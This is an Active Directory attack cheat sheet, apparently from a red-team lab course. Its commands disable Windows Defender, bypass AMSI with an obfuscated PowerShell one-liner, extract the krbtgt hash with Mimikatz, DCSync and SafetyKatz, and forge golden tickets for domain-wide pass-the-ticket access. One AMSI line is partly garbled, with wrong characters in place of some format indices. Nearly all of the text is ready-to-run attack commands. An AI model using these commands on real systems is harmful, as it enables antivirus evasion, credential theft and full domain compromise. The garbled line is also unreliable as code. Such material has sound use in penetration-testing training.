Disable Defender [ Important ]
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
AMSI bypass [ Important ]
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{O}"-F'F', 'rE' ) ) 3; ( GeT-VariaBle ( "1Q2U" + "zX" ) -VaL_s+)."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{@}{5}" -f'Util', 'A', 'Amsi','.Management.', 'utomation.','s', 'System' ))."g`etf`iE1D"( ( "{O}{2}{1}" -f'amsi','d','InitFaile' ),("{2}{4}{O}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"(${n`ULl},${t`RuE} )
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
Execute mimikatz on DC as DA to get krbtgt hash
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dcorp-dc
Create a ticket on any machine [ "pass the ticket" attack]
Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-268341927-4156871508-1792461683 /krbtgt:a9b30e5bO0dc865eadcea941le4ade72d /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
List Kerberos services available
To use the DCSync feature for getting krbtg hash execute the below command with DA privileges
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
Using the DCSync option needs no code execution (no need to run Invoke-Mimikatz) on the target DC
C:\Users\Public\SafetyKatz.exe "lsadump::lsa /patch" "exit"
or
C:\AD\Tools\SafetyKatz.exe "lsadump::dcsync /user:us\krbtgt" "exit"
On a machine which can reach the DC over network (Need elevation):
C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /User:Administrator /domain:us.techcorp.local /sid:S-1-5-21-210670787-2521448726-163245708 /krbtgt:b0975ae49f441adc6b024ad238935af5 /startoffset:0 /endin:600 /renewmax:10080 /ptt" "exit"